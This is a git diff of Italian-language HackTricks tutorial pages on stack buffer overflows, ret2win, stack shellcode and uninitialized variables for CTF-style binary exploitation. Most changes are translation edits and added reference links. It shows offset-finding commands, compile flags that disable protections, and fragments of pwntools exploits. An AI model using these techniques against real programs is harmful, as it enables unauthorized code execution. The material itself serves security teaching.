Il problema principale di questa sovrascrittura è che il **puntatore all'istruzione salvata (EIP/RIP)** e il **puntatore alla base salvata (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascrivere quelli e **controllare il flusso di esecuzione del programma**.
|
||||
|
||||
|
|
@ -33,11 +33,11 @@ gets(buffer); // This is where the vulnerability lies
|
|||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Trovare gli offset delle vulnerabilità di stack overflow
|
||||
### Trovare gli offset degli stack overflows
|
||||
|
||||
Il modo più comune per trovare le vulnerabilità di stack overflow è inserire un input molto grande di `A` (ad esempio `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che si è cercato di accedere all'**indirizzo `0x41414141`**.
|
||||
Il modo più comune per trovare gli stack overflows è inserire un input molto grande di `A` (ad esempio `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che si è cercato di accedere all'**indirizzo `0x41414141`**.
|
||||
|
||||
Inoltre, una volta individuata la presenza di una vulnerabilità di stack overflow, sarà necessario trovare l'offset fino a quando sarà possibile **sovrascrivere l'indirizzo di ritorno**, per questo di solito si utilizza una **sequenza di De Bruijn**. Per una data sequenza di alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_, è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_** appare esattamente una volta come sottosequenza contigua.
|
||||
Inoltre, una volta individuata la vulnerabilità dello Stack Overflow, sarà necessario trovare l'offset fino a quando è possibile **sovrascrivere l'indirizzo di ritorno**, per questo di solito si utilizza una **sequenza di De Bruijn**. Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_** appare esattamente una volta come sottosequenza contigua.
|
||||
|
||||
In questo modo, anziché dover capire manualmente quale offset è necessario per controllare l'EIP, è possibile utilizzare una di queste sequenze come padding e quindi trovare l'offset dei byte che hanno finito per sovrascriverlo.
|
||||
|
||||
|
|
@ -63,13 +63,13 @@ pattern search $rsp #Search the offset given the content of $rsp
|
|||
## Sfruttare gli Stack Overflow
|
||||
|
||||
Durante un overflow (supponendo che la dimensione dell'overflow sia abbastanza grande) sarai in grado di **sovrascrivere** i valori delle variabili locali nello stack fino a raggiungere i salvati **EBP/RBP e EIP/RIP (o anche di più)**.\
|
||||
Il modo più comune per sfruttare questo tipo di vulnerabilità è **modificare l'indirizzo di ritorno** in modo che quando la funzione termina il **flusso di controllo venga reindirizzato ovunque l'utente abbia specificato** in questo puntatore.
|
||||
Il modo più comune per sfruttare questo tipo di vulnerabilità è **modificare l'indirizzo di ritorno** in modo che quando la funzione termina il **controllo del flusso sarà reindirizzato ovunque l'utente abbia specificato** in questo puntatore.
|
||||
|
||||
Tuttavia, in altri scenari forse **sovrascrivere alcuni valori delle variabili nello stack** potrebbe essere sufficiente per lo sfruttamento (come nelle sfide CTF facili).
|
||||
Tuttavia, in altri scenari forse **sovrascrivere alcuni valori delle variabili nello stack** potrebbe essere sufficiente per lo sfruttamento (come nei semplici CTF challenges).
|
||||
|
||||
### Ret2win
|
||||
|
||||
In questo tipo di sfide CTF, c'è una **funzione** **all'interno** del binario che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste sfide devi solo trovare l'**offset per sovrascrivere l'indirizzo di ritorno** e **trovare l'indirizzo della funzione** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sarebbe disabilitato) in modo che quando la funzione vulnerabile ritorna, la funzione nascosta verrà chiamata:
|
||||
In questo tipo di CTF challenges, c'è una **funzione** **all'interno** del binario che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste sfide devi solo trovare l'**offset per sovrascrivere l'indirizzo di ritorno** e **trovare l'indirizzo della funzione** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sarebbe disabilitato) in modo che quando la funzione vulnerabile ritorna, la funzione nascosta verrà chiamata:
|
||||
|
||||
{% content-ref url="ret2win/" %}
|
||||
[ret2win](ret2win/)
|
||||
|
|
@ -91,6 +91,14 @@ Questa tecnica è il framework fondamentale per aggirare la principale protezion
|
|||
[rop-return-oriented-programing](../rop-return-oriented-programing/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Heap Overflow
|
||||
|
||||
Un overflow non avviene sempre nello stack, potrebbe anche verificarsi nell'**heap** ad esempio:
|
||||
|
||||
{% content-ref url="../heap/heap-overflow.md" %}
|
||||
[heap-overflow.md](../heap/heap-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Tipi di protezioni
|
||||
|
||||
Ci sono diverse protezioni che cercano di prevenire lo sfruttamento delle vulnerabilità, controllale in:
|
||||
|
|
|
|||
|
|
@ -2,11 +2,11 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -16,7 +16,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
## Informazioni di Base
|
||||
|
||||
Le sfide **Ret2win** sono una categoria popolare nelle competizioni di **Capture The Flag (CTF)**, in particolare nei compiti che coinvolgono **exploit binari**. L'obiettivo è sfruttare una vulnerabilità in un binario dato per eseguire una funzione specifica e non invocata all'interno del binario, spesso chiamata `win`, `flag`, ecc. Questa funzione, quando eseguita, di solito stampa una bandiera o un messaggio di successo. La sfida di solito coinvolge sovrascrivere l'**indirizzo di ritorno** nello stack per deviare il flusso di esecuzione alla funzione desiderata. Ecco una spiegazione più dettagliata con esempi:
|
||||
Le sfide **Ret2win** sono una categoria popolare nelle competizioni di **Capture The Flag (CTF)**, in particolare nei compiti che coinvolgono **exploit binari**. L'obiettivo è sfruttare una vulnerabilità in un binario dato per eseguire una funzione specifica e non invocata all'interno del binario, spesso chiamata `win`, `flag`, ecc. Questa funzione, quando eseguita, di solito stampa una flag o un messaggio di successo. La sfida di solito coinvolge sovrascrivere l'**indirizzo di ritorno** nello stack per deviare il flusso di esecuzione alla funzione desiderata. Ecco una spiegazione più dettagliata con esempi:
|
||||
|
||||
### Esempio in C
|
||||
|
||||
|
|
@ -43,7 +43,7 @@ Per compilare questo programma senza protezioni dello stack e con **ASLR** disab
|
|||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-m32`: Compila il programma come un binario a 32 bit (questo è opzionale ma comune nelle sfide CTF).
|
||||
* `-m32`: Compila il programma come un binario a 32 bit (questo è facoltativo ma comune nelle sfide CTF).
|
||||
* `-fno-stack-protector`: Disabilita le protezioni contro gli stack overflow.
|
||||
* `-z execstack`: Consente l'esecuzione di codice nello stack.
|
||||
* `-no-pie`: Disabilita l'eseguibile a posizione indipendente per garantire che l'indirizzo della funzione `win` non cambi.
|
||||
|
|
@ -81,7 +81,7 @@ Lo script Python invia un messaggio attentamente elaborato che, quando elaborato
|
|||
|
||||
## Protezioni
|
||||
|
||||
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e sarebbe necessario un leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa l'overflow è `read` o simile, è possibile fare un **sovrascrittura parziale** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona ASLR, gli ultimi tre nibble esadecimali non sono randomizzati, quindi c'è una **possibilità su 16** (1 nibble) di ottenere l'indirizzo di ritorno corretto.
|
||||
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa l'overflow è `read` o simile, puoi fare un **sovrascrittura parziale** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona ASLR, gli ultimi tre nibble esadecimali non sono randomizzati, quindi c'è una **possibilità su 16** (1 nibble) di ottenere l'indirizzo di ritorno corretto.
|
||||
* Anche i [**Canary dello Stack**](../../common-binary-protections-and-bypasses/stack-canaries/) dovrebbero essere disabilitati o l'indirizzo di ritorno EIP compromesso non verrà mai seguito.
|
||||
|
||||
## Altri esempi e Riferimenti
|
||||
|
|
@ -105,6 +105,10 @@ Lo script Python invia un messaggio attentamente elaborato che, quando elaborato
|
|||
* Il programma sta solo convalidando l'ultimo byte di un numero per controllare la dimensione dell'input, quindi è possibile aggiungere qualsiasi dimensione purché l'ultimo byte sia all'interno dell'intervallo consentito. Quindi, l'input crea un buffer overflow sfruttato con un ret2win.
|
||||
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||
* 64 bit, relro, senza canary, nx, pie. Sovrascrittura parziale per chiamare la funzione win (ret2win)
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
||||
* arm64, PIE, fornisce un leak di PIE la funzione win è effettivamente composta da 2 funzioni quindi gadget ROP che chiama 2 funzioni
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
|
||||
* ARM64, off-by-one per chiamare una funzione win
|
||||
|
||||
## Esempio ARM64
|
||||
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -57,7 +57,7 @@ run
|
|||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1202).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
arm64 cercherà di tornare all'indirizzo nel registro x30 (che è stato compromesso), possiamo usare questo per trovare l'offset del modello:
|
||||
arm64 cercherà di tornare all'indirizzo nel registro x30 (che è stato compromesso), possiamo usarlo per trovare l'offset del modello:
|
||||
```bash
|
||||
pattern search $x30
|
||||
```
|
||||
|
|
@ -123,9 +123,9 @@ p.close()
|
|||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1208).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
### Fuori di 2
|
||||
### Fuori di 1
|
||||
|
||||
Invece di sovrascrivere tutto l'indirizzo di ritorno, sovrascriveremo **solo gli ultimi 2 byte** con `0x06c4`.
|
||||
In realtà questo sarà più simile a un fuori di 2 nello stack del PC memorizzato. Invece di sovrascrivere tutto l'indirizzo di ritorno sovrascriveremo **solo gli ultimi 2 byte** con `0x06c4`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -147,10 +147,12 @@ p.close()
|
|||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1209).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Puoi trovare un altro esempio di off-by-one in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), che è un vero off-by-**one** in una vulnerabilità fittizia.
|
||||
|
||||
## Con PIE
|
||||
|
||||
{% hint style="success" %}
|
||||
Compilare il binario **senza l'argomento `-no-pie`**
|
||||
Compila il binario **senza l'argomento `-no-pie`**
|
||||
{% endhint %}
|
||||
|
||||
### Off-by-2
|
||||
|
|
@ -179,13 +181,13 @@ p.close()
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
|
|
|
|||
|
|
@ -10,13 +10,13 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
Lo **shellcode dello stack** è una tecnica utilizzata nell'**exploitation binaria** in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e modifica il **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, causandone l'esecuzione. Questo è un metodo classico utilizzato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema di destinazione. Ecco una panoramica del processo, inclusa un semplice esempio in C e come potresti scrivere un exploit corrispondente utilizzando Python con **pwntools**.
|
||||
Lo **shellcode dello stack** è una tecnica utilizzata nell'**exploitation binaria** in cui un attaccante scrive dello shellcode nello stack di un programma vulnerabile e modifica il **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, causandone l'esecuzione. Questo è un metodo classico utilizzato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema di destinazione. Ecco una panoramica del processo, inclusi un semplice esempio in C e come potresti scrivere un exploit corrispondente utilizzando Python con **pwntools**.
|
||||
|
||||
### Esempio in C: Un Programma Vulnerabile
|
||||
|
||||
|
|
@ -40,13 +40,13 @@ Questo programma è vulnerabile a un buffer overflow a causa dell'uso della funz
|
|||
|
||||
### Compilazione
|
||||
|
||||
Per compilare questo programma disabilitando varie protezioni (per simulare un ambiente vulnerabile), è possibile utilizzare il seguente comando:
|
||||
Per compilare questo programma disabilitando varie protezioni (per simulare un ambiente vulnerabile), puoi utilizzare il seguente comando:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-fno-stack-protector`: Disabilita la protezione dello stack.
|
||||
* `-z execstack`: Rende lo stack eseguibile, il che è necessario per eseguire lo shellcode memorizzato nello stack.
|
||||
* `-no-pie`: Disabilita l'eseguibile a posizione indipendente, rendendo più facile prevedere l'indirizzo di memoria in cui si troverà il nostro shellcode.
|
||||
* `-no-pie`: Disabilita l'Esecuzione Indipendente dalla Posizione, facilitando la previsione dell'indirizzo di memoria in cui sarà situato il nostro shellcode.
|
||||
* `-m32`: Compila il programma come eseguibile a 32 bit, spesso utilizzato per semplificare lo sviluppo di exploit.
|
||||
|
||||
### Python Exploit usando Pwntools
|
||||
|
|
@ -84,9 +84,9 @@ Lo **slide NOP** (`asm('nop')`) viene utilizzato per aumentare la probabilità c
|
|||
|
||||
## Protezioni
|
||||
|
||||
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
|
||||
* Anche [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) dovrebbero essere disabilitati altrimenti l'indirizzo di ritorno EIP compromesso non verrà mai seguito.
|
||||
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) La protezione dello **stack** impedirebbe l'esecuzione dello shellcode all'interno dello stack perché quella regione non sarà eseguibile.
|
||||
* **ASLR** **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e sarebbe necessario un leak per capire dove è caricata la funzione win.
|
||||
* Anche i **Canary dello Stack** dovrebbero essere disabilitati o l'indirizzo di ritorno compromesso di EIP non verrà mai seguito.
|
||||
* **NX** la protezione dello **stack** impedirebbe l'esecuzione dello shellcode all'interno dello stack perché quella regione non sarebbe eseguibile.
|
||||
|
||||
## Altri Esempi e Riferimenti
|
||||
|
||||
|
|
@ -97,3 +97,5 @@ Lo **slide NOP** (`asm('nop')`) viene utilizzato per aumentare la probabilità c
|
|||
* 32 bit, ASLR con leak dello stack, scrivere shellcode e saltare ad esso
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
|
||||
* 32 bit, ASLR con leak dello stack, confronto per evitare la chiamata a exit(), sovrascrivere variabile con un valore e scrivere shellcode e saltare ad esso
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
* arm64, senza ASLR, gadget ROP per rendere lo stack eseguibile e saltare allo shellcode nello stack
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -18,7 +18,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
L'idea principale qui è capire cosa succede con le **variabili non inizializzate poiché avranno il valore che era già presente nella memoria assegnata a loro.** Esempio:
|
||||
|
||||
* **Funzione 1: `initializeVariable`**: Dichiariamo una variabile `x` e le assegnamo un valore, diciamo `0x1234`. Quest'azione è simile a riservare uno spazio in memoria e metterci un valore specifico.
|
||||
* **Funzione 1: `initializeVariable`**: Dichiarando una variabile `x` e assegnandole un valore, diciamo `0x1234`. Quest'azione è simile a riservare uno spazio in memoria e mettervi un valore specifico.
|
||||
* **Funzione 2: `useUninitializedVariable`**: Qui, dichiariamo un'altra variabile `y` ma non le assegnamo alcun valore. In C, le variabili non inizializzate non vengono automaticamente impostate a zero. Invece, mantengono il valore che era stato memorizzato per ultimo nella loro posizione di memoria.
|
||||
|
||||
Quando eseguiamo queste due funzioni **in sequenza**:
|
||||
|
|
@ -26,7 +26,14 @@ Quando eseguiamo queste due funzioni **in sequenza**:
|
|||
1. In `initializeVariable`, `x` viene assegnata un valore (`0x1234`), che occupa un indirizzo di memoria specifico.
|
||||
2. In `useUninitializedVariable`, `y` viene dichiarata ma non viene assegnato alcun valore, quindi prende il posto di memoria subito dopo `x`. A causa della mancata inizializzazione di `y`, finisce per "ereditare" il valore dalla stessa posizione di memoria utilizzata da `x`, poiché è l'ultimo valore che c'era.
|
||||
|
||||
Questo comportamento illustra un concetto chiave nella programmazione a basso livello: **La gestione della memoria è cruciale**, e le variabili non inizializzate possono portare a comportamenti imprevedibili o vulnerabilità di sicurezza, poiché potrebbero detenere involontariamente dati sensibili lasciati in memoria.
|
||||
Questo comportamento illustra un concetto chiave nella programmazione a basso livello: **La gestione della memoria è cruciale**, e le variabili non inizializzate possono portare a comportamenti imprevedibili o vulnerabilità di sicurezza, poiché potrebbero contenere involontariamente dati sensibili lasciati in memoria.
|
||||
|
||||
Le variabili non inizializzate nello stack potrebbero comportare diversi rischi per la sicurezza come:
|
||||
|
||||
* **Fuga di Dati**: Informazioni sensibili come password, chiavi di crittografia o dettagli personali possono essere esposti se memorizzati in variabili non inizializzate, consentendo agli attaccanti di potenzialmente leggere questi dati.
|
||||
* **Divulgazione di Informazioni**: I contenuti delle variabili non inizializzate potrebbero rivelare dettagli sulla struttura di memoria del programma o sulle operazioni interne, aiutando gli attaccanti nello sviluppo di exploit mirati.
|
||||
* **Blocchi e Instabilità**: Operazioni che coinvolgono variabili non inizializzate possono comportare comportamenti non definiti, portando a blocchi del programma o a risultati imprevedibili.
|
||||
* **Esecuzione di Codice Arbitrario**: In determinati scenari, gli attaccanti potrebbero sfruttare queste vulnerabilità per alterare il flusso di esecuzione del programma, consentendo loro di eseguire codice arbitrario, che potrebbe includere minacce di esecuzione remota di codice.
|
||||
|
||||
### Esempio
|
||||
```c
|
||||
|
|
@ -64,16 +71,6 @@ return 0;
|
|||
* **Funzione `demonstrateUninitializedVar`**: In questa funzione, dichiariamo una variabile intera `uninitializedVar` senza inizializzarla. Quando tentiamo di stamparne il valore, l'output potrebbe mostrare un numero casuale. Questo numero rappresenta qualunque dato fosse precedentemente presente in quella posizione di memoria. A seconda dell'ambiente e del compilatore, l'output effettivo può variare e talvolta, per sicurezza, alcuni compilatori potrebbero inizializzare automaticamente le variabili a zero, anche se non ci si dovrebbe basare su questo.
|
||||
* **Funzione `main`**: La funzione `main` chiama entrambe le funzioni sopra in sequenza, dimostrando il contrasto tra una variabile inizializzata e una non inizializzata.
|
||||
|
||||
<details>
|
||||
## Esempio ARM64
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
Questo non cambia affatto in ARM64 poiché le variabili locali sono gestite anche nello stack, puoi [**controllare questo esempio**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) dove ciò è mostrato.
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
# Introduction to ARM64v8
|
||||
# Introduzione ad ARM64v8
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -19,22 +19,15 @@ Altri modi per supportare HackTricks:
|
|||
Nell'architettura ARMv8, i livelli di esecuzione, noti come Livelli di Eccezione (EL), definiscono il livello di privilegio e le capacità dell'ambiente di esecuzione. Ci sono quattro livelli di eccezione, che vanno da EL0 a EL3, ognuno con uno scopo diverso:
|
||||
|
||||
1. **EL0 - Modalità Utente**:
|
||||
|
||||
* Questo è il livello meno privilegiato e viene utilizzato per eseguire il codice dell'applicazione regolare.
|
||||
* Le applicazioni in esecuzione a EL0 sono isolate l'una dall'altra e dal software di sistema, migliorando la sicurezza e la stabilità.
|
||||
|
||||
2. **EL1 - Modalità Kernel del Sistema Operativo**:
|
||||
|
||||
* La maggior parte dei kernel del sistema operativo funziona a questo livello.
|
||||
* La maggior parte dei kernel dei sistemi operativi funziona a questo livello.
|
||||
* EL1 ha più privilegi rispetto a EL0 e può accedere alle risorse di sistema, ma con alcune restrizioni per garantire l'integrità del sistema.
|
||||
|
||||
3. **EL2 - Modalità Hypervisor**:
|
||||
|
||||
* Questo livello è utilizzato per la virtualizzazione. Un hypervisor in esecuzione a EL2 può gestire più sistemi operativi (ciascuno nel proprio EL1) in esecuzione sull'hardware fisico.
|
||||
* EL2 fornisce funzionalità per l'isolamento e il controllo degli ambienti virtualizzati.
|
||||
|
||||
4. **EL3 - Modalità Monitor Sicuro**:
|
||||
|
||||
* Questo è il livello più privilegiato e viene spesso utilizzato per l'avvio sicuro e gli ambienti di esecuzione affidabili.
|
||||
* EL3 può gestire e controllare gli accessi tra stati sicuri e non sicuri (come l'avvio sicuro, il sistema operativo affidabile, ecc.).
|
||||
|
||||
|
|
@ -42,34 +35,24 @@ L'uso di questi livelli consente di gestire in modo strutturato e sicuro diversi
|
|||
|
||||
## **Registri (ARM64v8)**
|
||||
|
||||
ARM64 ha **31 registri a scopo generale**, etichettati da `x0` a `x30`. Ciascuno può memorizzare un valore **64-bit** (8-byte). Per operazioni che richiedono solo valori a 32 bit, gli stessi registri possono essere accessibili in modalità a 32 bit utilizzando i nomi w0 a w30.
|
||||
ARM64 ha **31 registri a scopo generale**, etichettati da `x0` a `x30`. Ciascuno può memorizzare un valore **64-bit** (8 byte). Per operazioni che richiedono solo valori a 32 bit, gli stessi registri possono essere accessibili in modalità a 32 bit utilizzando i nomi w0 a w30.
|
||||
|
||||
